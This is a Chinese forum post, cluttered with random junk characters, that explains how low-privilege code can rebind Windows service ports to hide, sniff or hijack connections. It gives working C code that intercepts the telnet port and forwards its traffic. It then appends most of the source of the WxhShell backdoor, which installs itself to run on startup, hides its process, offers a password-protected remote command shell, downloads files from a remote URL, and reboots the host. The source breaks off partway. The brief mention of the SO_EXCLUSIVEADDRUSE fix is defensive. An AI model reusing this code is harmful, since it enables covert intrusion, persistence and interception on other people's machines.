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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \)m"3yY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,ZI\dtl  
klWYuStZ  
  saddr.sin_family = AF_INET; m(sXk}e;1  
"r.2]R3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o4=Yu7L  
Gk~l,wV>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1K|@ h&@  
Uedvc5><t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nq`q[KV:  
bdc\  
  这意味着什么?意味着可以进行如下的攻击: :cp   
 [~Hg}-c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i~qfGl p6)  
.6T6 S v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "EftN5?/  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zXc}W*ymj  
`hB1b["(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k ~6- cx  
rPq<Xb\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #w3ru6*W  
VTe.M[:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [ug,jEH"S  
nJ3vi}`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \k&1*b?h  
a5`eyL[f  
  #include nbvkP  
  #include {`.O|_b  
  #include <d$A)S};W  
  #include    iH)Nk^   
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^>r^3C)_-  
  int main() /3^P_\,>f  
  { fU*C/ d3  
  WORD wVersionRequested; ,9/5T:2  
  DWORD ret; Ex($  
  WSADATA wsaData; 6GOcI#C9C  
  BOOL val; V; 9 }7mw  
  SOCKADDR_IN saddr; <lFY7' aY  
  SOCKADDR_IN scaddr; m7 XjP2   
  int err; IKf`[_,t]  
  SOCKET s; )bWrd $X  
  SOCKET sc; O<,r>b,  
  int caddsize; ,@Z_{,b  
  HANDLE mt; Rlc$; Z9K  
  DWORD tid;   IbdM9qo7  
  wVersionRequested = MAKEWORD( 2, 2 ); A'eAu  
  err = WSAStartup( wVersionRequested, &wsaData ); t;Wotfc[#0  
  if ( err != 0 ) { NoW!xLI  
  printf("error!WSAStartup failed!\n"); B/YcSEY;  
  return -1; A_r<QYq0|  
  } StM/  
  saddr.sin_family = AF_INET; {Jx7_T&  
   8&a_A:h  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,hE/II`-d'  
M9V-$ _)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -l.pA(O  
  saddr.sin_port = htons(23); y1(P<7:t?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ujx-jIhT_  
  { lIDl1Z@Z  
  printf("error!socket failed!\n"); X!0kK8v  
  return -1; VJ1*|r,  
  } q`loOm=y  
  val = TRUE; :Ee?K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ],?pe  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .98.G4J>  
  { ul}'{|4  
  printf("error!setsockopt failed!\n"); q,,j',8kq/  
  return -1; tyXl}$)y  
  } dF2@q@\.+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t.z$j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 T7GQ^WnA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;nf&c;D  
Iu6W=A  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R@ QQNYU.D  
  { :_c*m@=z(  
  ret=GetLastError(); )<LI%dQ:'l  
  printf("error!bind failed!\n"); +2O=s<fp  
  return -1; MuSaK %  
  } Es:6  
  listen(s,2); z_(eQP])  
  while(1) !"(u_dFw  
  { 8?Wgawx  
  caddsize = sizeof(scaddr); |4xo4%BQ>  
  //接受连接请求 4hNwKe"Ki  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P7>IZ >bw  
  if(sc!=INVALID_SOCKET) |LFUzq>j  
  { H0tF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8m7eaZ  
  if(mt==NULL) /Su)|[/'  
  { e-!?[Ujv*%  
  printf("Thread Creat Failed!\n"); "w^Nu6  
  break; & >b+loF  
  } _sm;HH7'*  
  } xK!DtRzsA  
  CloseHandle(mt); C "9"{  
  } Mryn>b`cB  
  closesocket(s); fv5C!> t  
  WSACleanup(); T:n< db,Px  
  return 0; WJcVQM s  
  }   4@~a<P#  
  DWORD WINAPI ClientThread(LPVOID lpParam) afy/K'~  
  { SEU\}Ni{  
  SOCKET ss = (SOCKET)lpParam; K!7q!%Ju  
  SOCKET sc; Z%;)@0~f  
  unsigned char buf[4096]; )BlJ|M  
  SOCKADDR_IN saddr; zkG>u,B}  
  long num; 3*2I$e!Jt  
  DWORD val; ^cb)f_90  
  DWORD ret; W2n*bNI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ioWJj.%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r+TK5|ke  
  saddr.sin_family = AF_INET; aL 8Gnqf2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eRVY.E<  
  saddr.sin_port = htons(23); |=,83,a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #jgqkMOd,j  
  { 4[(? L{  
  printf("error!socket failed!\n"); Lv3XYZgW~  
  return -1; :B+Rg cqi  
  } Q4 CJ]J`  
  val = 100; R%W@~o\p]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OT%V{hD  
  { yI:r7=KO  
  ret = GetLastError(); vh{9'vd3el  
  return -1; [lOf|^9  
  } |I/,F;'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Dx0O'uwR  
  { - &NQ\W  
  ret = GetLastError(); !3QRzkJX~  
  return -1; 'FqEB]gu  
  } km}MqBQl  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fK);!Hh  
  { w=5   
  printf("error!socket connect failed!\n"); RCQAtBd  
  closesocket(sc); e|~C?Ow'J  
  closesocket(ss); QK'`=MU  
  return -1; "]w!`^'_  
  } +>u>`|  
  while(1) |""=)-5N  
  { ?'Oj=k"c7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QjqBO+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 hXPocP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #_{0Ndp2  
  num = recv(ss,buf,4096,0); tw-fAMwU  
  if(num>0) yT&x`3f"i  
  send(sc,buf,num,0); =9fEv,Jk  
  else if(num==0) SF"#\{cjj  
  break; k=ts&9\  
  num = recv(sc,buf,4096,0); ;Na^]32  
  if(num>0) sK`< kbj  
  send(ss,buf,num,0); >eRZ+|k?N  
  else if(num==0) ]L$4P y  
  break; Hw y5G ;  
  } JxnuGkE0[#  
  closesocket(ss); l:q8Pg)  
  closesocket(sc); T G_bje  
  return 0 ; CJv> /#$/F  
  } xM%`K P.8X  
y&y/cML?  
Rnzqw,q  
========================================================== B(8mH  
</|)"OD9  
下边附上一个代码,,WXhSHELL YsZ{1W  
z'_&|-m  
========================================================== .#sz|0  
,%[LwmET  
#include "stdafx.h" J"5jy$30'$  
0hFH^2%UY  
#include <stdio.h> |>Z&S=\I)  
#include <string.h> xv^Sh}\}  
#include <windows.h> W"dU1]  
#include <winsock2.h> pXve02b1B  
#include <winsvc.h> (1rJFl!  
#include <urlmon.h> TF%3uH  
uC- A43utv  
#pragma comment (lib, "Ws2_32.lib") wLY#dm  
#pragma comment (lib, "urlmon.lib") % Oz$_Xe  
^Wif!u/HM  
#define MAX_USER   100 // 最大客户端连接数 VccM=w% *  
#define BUF_SOCK   200 // sock buffer 6g}^Q?cpV#  
#define KEY_BUFF   255 // 输入 buffer & { DR 6  
1;aF5~&  
#define REBOOT     0   // 重启 ;i.I&*t  
#define SHUTDOWN   1   // 关机 *}>Bkq9h  
lxo.,n)  
#define DEF_PORT   5000 // 监听端口 .\Ul!&y  
^p$1D  
#define REG_LEN     16   // 注册表键长度 L{Q4=p,A  
#define SVC_LEN     80   // NT服务名长度 pF|8OB%  
*wV iH  
// 从dll定义API Ir!2^:]!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ] xb]8]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <nj IXa{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {d^Q7A:`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -xw 98  
y!SF/i?Py  
// wxhshell配置信息 r@olC7&  
struct WSCFG { T~s&)wD  
  int ws_port;         // 监听端口 {a]pF.^kf  
  char ws_passstr[REG_LEN]; // 口令 nDyvX1]  
  int ws_autoins;       // 安装标记, 1=yes 0=no =E&24  
  char ws_regname[REG_LEN]; // 注册表键名 {5U1`>  
  char ws_svcname[REG_LEN]; // 服务名 'BqrJfv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zpbcmQB*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tp#Z@5=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zwMQXI'k83  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e)*mC oR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tB GkRd!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wTHK=n\i  
s`;0 t YG  
}; Lwp-2`%  
a ZI>x^X  
// default Wxhshell configuration #!w:_T%  
struct WSCFG wscfg={DEF_PORT, {An8/"bv}  
    "xuhuanlingzhe", lr`?yn1D(  
    1, r4 9UJE  
    "Wxhshell", ?6 8$3;  
    "Wxhshell", wDB)&b  
            "WxhShell Service", |~z8<  
    "Wrsky Windows CmdShell Service", +xn&K"]:3  
    "Please Input Your Password: ", chKF6n  
  1, Uy(vELB  
  "http://www.wrsky.com/wxhshell.exe", 6lN?)<uQ  
  "Wxhshell.exe" 8rGl&  
    }; {`+bW"9  
A,3@j@bdy  
// 消息定义模块 =t@:F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '&RZ3@}+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B1x'5S;Bq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {'h)  
char *msg_ws_ext="\n\rExit."; tU9rCL:P  
char *msg_ws_end="\n\rQuit."; /uC+.B9k  
char *msg_ws_boot="\n\rReboot..."; ^:qpa5^"  
char *msg_ws_poff="\n\rShutdown..."; X QI.0L"  
char *msg_ws_down="\n\rSave to "; dK:l&R  
| \Ab L!u  
char *msg_ws_err="\n\rErr!"; 7J0 ^N7"o  
char *msg_ws_ok="\n\rOK!"; Coga-: 2vu  
yonJd  
char ExeFile[MAX_PATH]; dD[v=Z_  
int nUser = 0; !}iL O0  
HANDLE handles[MAX_USER]; ;X+G6F'  
int OsIsNt; }UyzM y,  
&W&7bZ$;  
SERVICE_STATUS       serviceStatus; +`Q PBj^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C HQ {+?#  
|hu"5*  
// 函数声明 2v"wWap-+  
int Install(void); (nkUeQQN  
int Uninstall(void); _ pY   
int DownloadFile(char *sURL, SOCKET wsh); c80 }1  
int Boot(int flag); z zulVj*  
void HideProc(void);  ~Y1"k]J  
int GetOsVer(void); Hi9 G^Q  
int Wxhshell(SOCKET wsl); B$K7L'e+-  
void TalkWithClient(void *cs); p5lR-G  
int CmdShell(SOCKET sock); ;e&hM\p  
int StartFromService(void); Q'FX:[@x-S  
int StartWxhshell(LPSTR lpCmdLine); DH}s1mNMP  
uU8*$+ "  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =_#ye}E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &@mvw=d  
ZrmnQ  
// 数据结构和表定义 {%]NpFg#b  
SERVICE_TABLE_ENTRY DispatchTable[] = {. s]\C  
{ K?z*3^^X;  
{wscfg.ws_svcname, NTServiceMain}, u+%)JhIp  
{NULL, NULL} B ]|5?QP-  
}; ;y:#S^|?-z  
d/0/$Bz}P  
// 自我安装 X !&"&n  
int Install(void) b|X>3(  
{ y}(_SU  
  char svExeFile[MAX_PATH]; X;K8,A7`  
  HKEY key; qg_>`Bv"a  
  strcpy(svExeFile,ExeFile); rg#qSrHp  
8r7/IGFg  
// 如果是win9x系统,修改注册表设为自启动 |u?k-,uI9  
if(!OsIsNt) { Y}V)4j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !mw{T D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +~R.7NE%  
  RegCloseKey(key); wZ (uq?3S`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H;7O\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :vn0|7W4  
  RegCloseKey(key); >i><s>=I`  
  return 0; "wc`fg"3  
    } [15hci+-  
  } &*V0(  
} UiGUaBmF*  
else { ~G|{q VO7A  
>#${.+y  
// 如果是NT以上系统,安装为系统服务 9*G L@_c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sg!=Q+  
if (schSCManager!=0) c]cO[T_gGa  
{ J@u!S~&r  
  SC_HANDLE schService = CreateService uAPLT~  
  ( 1A,4 Aw<  
  schSCManager, hEdo,gF*  
  wscfg.ws_svcname, Ymrpf  
  wscfg.ws_svcdisp, = y,yQO  
  SERVICE_ALL_ACCESS, A-AN6.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `4"y#Z  
  SERVICE_AUTO_START,  6Dr$*9  
  SERVICE_ERROR_NORMAL, U 8qKD  
  svExeFile, Gaw,1Ow!`2  
  NULL, 2uI`$A:  
  NULL, l(0&6ENyj  
  NULL, ,b2O^tJF#  
  NULL, xX/Qoq (}i  
  NULL 1*c0\:BQ;z  
  ); Tko CyD9  
  if (schService!=0) % @^VrhS  
  { } (GQDJp  
  CloseServiceHandle(schService); B?/12+sR  
  CloseServiceHandle(schSCManager); D6pEQdX`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +v`^_  
  strcat(svExeFile,wscfg.ws_svcname); Z3u""oM/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *;\ K5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d~Z:$&r  
  RegCloseKey(key); 5sf fDEU]A  
  return 0; kBDe*K.V  
    } Poylq] F  
  } =8VJ.{xy_e  
  CloseServiceHandle(schSCManager); o/i5e=9[y  
} ^q4:zZZ  
} %n V@'3EI  
r*  
return 1; R - ?0k:  
} %_i0go,^  
hQW#a]]V:  
// 自我卸载 $[^ KCNB  
int Uninstall(void) =t>`< T|(  
{ ZRVF{D??"%  
  HKEY key; W4] 0qp`\  
0ghwFo  
if(!OsIsNt) { se*pkgWbz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'Rar>oU  
  RegDeleteValue(key,wscfg.ws_regname); H'0J1\ h  
  RegCloseKey(key); (cqA^.Td  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RIVN>G[;L  
  RegDeleteValue(key,wscfg.ws_regname); e[py J.  
  RegCloseKey(key); 5]2!B b6>  
  return 0; n(F<  
  } |'l* $  
} *FG4!~<e  
} \-`oFe"  
else { !gA^$(=:"  
tg m{gR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y9(i}uTi  
if (schSCManager!=0) 0I AaPz/e  
{ (WU~e!}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p%M(G#gOgP  
  if (schService!=0) COl%P  
  { wxr}*Z:ZMa  
  if(DeleteService(schService)!=0) { qLktMp_  
  CloseServiceHandle(schService); 5xn0U5U  
  CloseServiceHandle(schSCManager); /[)P^L`  
  return 0; S+\Mt+o  
  } YJtOdgG|q  
  CloseServiceHandle(schService); B )3SiU  
  } #@OKp,LJ  
  CloseServiceHandle(schSCManager); |H|eH~.yg&  
} -QHzf&D?  
} B'#gs'fl  
d'eM(4R@  
return 1; ,:Y=,[n  
} >Gu>T\jpe.  
d ;Gm{g#  
// 从指定url下载文件 V1+o3g{}  
int DownloadFile(char *sURL, SOCKET wsh) EXM/>PG  
{ {7MgN'4  
  HRESULT hr; ywa.cq  
char seps[]= "/"; ]V[  
char *token;  OG<]`!"  
char *file; ysP/@;jC  
char myURL[MAX_PATH]; "r `6c0Z  
char myFILE[MAX_PATH]; -B++V  
'kONb  
strcpy(myURL,sURL); u+i/CE#w  
  token=strtok(myURL,seps); #| e5  
  while(token!=NULL) K|' ]Hje\  
  { qm&53  
    file=token; }v|[h[cZ  
  token=strtok(NULL,seps); ]r{ #268  
  } l9Cy30O6  
&^Q~G>A  
GetCurrentDirectory(MAX_PATH,myFILE); I>(z)"1  
strcat(myFILE, "\\"); b*%WAVt 2T  
strcat(myFILE, file); iF2IR {h  
  send(wsh,myFILE,strlen(myFILE),0); C@:N5},]  
send(wsh,"...",3,0); *{n,4d\..  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UqQZ A0e  
  if(hr==S_OK) (h(ZL9!  
return 0; q|Tk+JH{5  
else TbUkqABm  
return 1; |D_n4#X7u  
OsuSx^}  
} B 0fo[Ev  
^ZZ@!Udy  
// 系统电源模块 | r*1.V(  
int Boot(int flag) mwiPvwHrg  
{ !QzMeN;D  
  HANDLE hToken; '{_tDboY  
  TOKEN_PRIVILEGES tkp; AT8,9  
peP:5WB  
  if(OsIsNt) { :zk.^q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \V7x3*nA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Dl!'_u  
    tkp.PrivilegeCount = 1; `1}yB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k/f_@8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m>m`aLrnb  
if(flag==REBOOT) { +GEKg~/4e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :<|fZa4!"  
  return 0; Wh&Z *J  
} pF{Ri  
else { Z|7I }i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f#JF5>o  
  return 0; !{- 3:N7  
} x-P_}}K 79  
  } 2Uw}'J_N  
  else { { l~T~3/i  
if(flag==REBOOT) { pc(9(. |  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FP cvkXQD  
  return 0; Ts *'f  
} (?=(eo<N  
else { ku8Z;ONeH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))   rs KE  
  return 0; A^jm<~  
} |[t=.dK%  
} 8&AorYw[  
D.JVEKLkU  
return 1; x~I1(l7r  
} VY26 Cf"  
HCCp<2D"C  
// win9x进程隐藏模块 A.*nDl`H  
void HideProc(void) Hqy>!1 !  
{ V'#u_`x"D)  
8TM=AV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K*D]\/;^  
  if ( hKernel != NULL ) Y2~{qY  
  { 'r3}=z4Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H$'kWU*l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y\2>y"8>$x  
    FreeLibrary(hKernel); =<tEc+!T3  
  } MZ[g|o!)v  
w'j]Y%  
return;  [?(W7  
} ziip*<a !_  
AZP>\Dq  
// 获取操作系统版本 P =Gb  
int GetOsVer(void) zT zG&B-  
{ ^E,Uc K;  
  OSVERSIONINFO winfo; aj~@r3E ;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {?_)m/\  
  GetVersionEx(&winfo); S`-IQ,*}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KV(W|~+rM  
  return 1; LA3,e (e  
  else T"lqPbK  
  return 0; H`..)zL|  
} ,l"2MXD  
%6?}gc_  
// 客户端句柄模块 P?-44m#  
int Wxhshell(SOCKET wsl) e=$xn3)McY  
{ *)sz]g|d  
  SOCKET wsh; eesLTy D2_  
  struct sockaddr_in client; (8/xSOZ[  
  DWORD myID; |W[rywxx  
J@-9{<  
  while(nUser<MAX_USER) @Kb~!y@G  
{ p 8rAtz>=J  
  int nSize=sizeof(client); +OP'/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3hjwwLKG$  
  if(wsh==INVALID_SOCKET) return 1; _)\,6| #  
;0{*V5A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KPrxw }P  
if(handles[nUser]==0) G->@   
  closesocket(wsh); `{;&Qcg6m  
else Y)5}bmL  
  nUser++; `2+52q<FO  
  } l0o_C#"<S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <\ c8q3N  
\Fjq|3`<l  
  return 0; +#9 (T  
} LLN^^>5|l  
` &DiM@Sm  
// 关闭 socket !I$RE?7eY  
void CloseIt(SOCKET wsh) ~|]\. ^B  
{ w N.Jyb  
closesocket(wsh); Ee| y[y,  
nUser--; $^GnY7$!>  
ExitThread(0); 8`<GplO  
} :RG6gvz  
$9$NX/P  
// 客户端请求句柄 gW%(_H mX  
void TalkWithClient(void *cs) $l0w{m!P  
{ EPfVS  
,\"gN5[$(  
  SOCKET wsh=(SOCKET)cs; J> |`  
  char pwd[SVC_LEN]; ~0:c{v;4  
  char cmd[KEY_BUFF]; n\,W:G9AR7  
char chr[1]; X^)5O>>|t  
int i,j; Ue%5 :Sdr  
]>j_ Y ,  
  while (nUser < MAX_USER) { -': tpJk  
QJ'C?hn  
if(wscfg.ws_passstr) { YkbLf#2AE|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u{^Kyo#v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o^J&c_U\3'  
  //ZeroMemory(pwd,KEY_BUFF); {%dQV#'c  
      i=0; }3e+D  
  while(i<SVC_LEN) { \6L=^q=  
)HcC\[  
  // 设置超时 b9jm= U  
  fd_set FdRead; ->UrWW^  
  struct timeval TimeOut; v.J#d>tvf  
  FD_ZERO(&FdRead); zc5_;!t  
  FD_SET(wsh,&FdRead); 1Zzw|@#>o  
  TimeOut.tv_sec=8; X[}%iEWzT  
  TimeOut.tv_usec=0; YTA  &G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "Y6mM_flq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p5ihuV,   
cgAcAcmY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  }P#gXG  
  pwd=chr[0]; igCtq!.a  
  if(chr[0]==0xd || chr[0]==0xa) { pj`-T"Q  
  pwd=0; pDT6>2t  
  break; |\ L2q/u  
  } v'=APl+_  
  i++; )i>KgX  
    } BGS6uV4^>  
64cmv}d_  
  // 如果是非法用户,关闭 socket ;2~Q97c0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;DpK* A  
} pe-d7Ou P  
 -W ,b*U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~heF0C_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bzS [X  
agzG  
while(1) { YXEZ&$e'  
jXQ_7  
  ZeroMemory(cmd,KEY_BUFF); I._=q  
i)ctrdP-  
      // 自动支持客户端 telnet标准   =r2d{  
  j=0; H'.d'OE:I  
  while(j<KEY_BUFF) { -mF9Skj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mBF?+/l  
  cmd[j]=chr[0]; &3efJ?8  
  if(chr[0]==0xa || chr[0]==0xd) { |SmN.*&(9  
  cmd[j]=0; U;/ )V  
  break; @AFLFX]  
  } J^T66}r[f,  
  j++; *W  l{2&  
    } Pa*yo:U'h  
`y(3:##p  
  // 下载文件 n1|%xQBU@  
  if(strstr(cmd,"http://")) { h kY E7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Fu$otMw%l  
  if(DownloadFile(cmd,wsh)) A [JV*Dt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qA42f83  
  else xN]bRr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YH9BJ  
  } KK}&4^q  
  else { B5hGzplS  
-JK+{<  
    switch(cmd[0]) { Fei$94 a  
  ,>Q,0bVhH0  
  // 帮助 5sH ee,  
  case '?': { U+z&jdnhDR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wil +"[Ge  
    break; 2=  _.K(  
  } #"|Ey6&  
  // 安装 BeRn9[  
  case 'i': { ~H.;pJ{ 8  
    if(Install()) \a#2Wm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NZ#z{JI =+  
    else e)M1$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MD,-<X)Qy  
    break; |N*>K a;  
    } sYL+;(#t  
  // 卸载 =J,:j[D(  
  case 'r': { z'm;H{xf  
    if(Uninstall()) MB)xL-jO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2WoB;=  
    else '"&?u8u)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :MpCj<<[  
    break; n1ICW 9  
    } @'QBrE  
  // 显示 wxhshell 所在路径 anbr3L[!  
  case 'p': { ZO,]h9?4  
    char svExeFile[MAX_PATH]; t9kgACo/M  
    strcpy(svExeFile,"\n\r"); L\UYt\ks  
      strcat(svExeFile,ExeFile); $I'ES#8P6  
        send(wsh,svExeFile,strlen(svExeFile),0); u=4Rn  
    break; V\_ &2',t  
    } /#a$4 }2L  
  // 重启 l!b#v`  
  case 'b': { JkKI/ 5h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nm)F tX|A  
    if(Boot(REBOOT)) CAXU #  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l}m@9 ~oC  
    else { 8WvT0q>]  
    closesocket(wsh); mVxS[Gq  
    ExitThread(0); )9*WmFc+#  
    } *]LM2J  
    break; 5b&'gd^d  
    } 30<^0J.1  
  // 关机 bV"0}|A~K  
  case 'd': { :KQ<rLd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =hA/;  
    if(Boot(SHUTDOWN)) oyUf/ Sl  
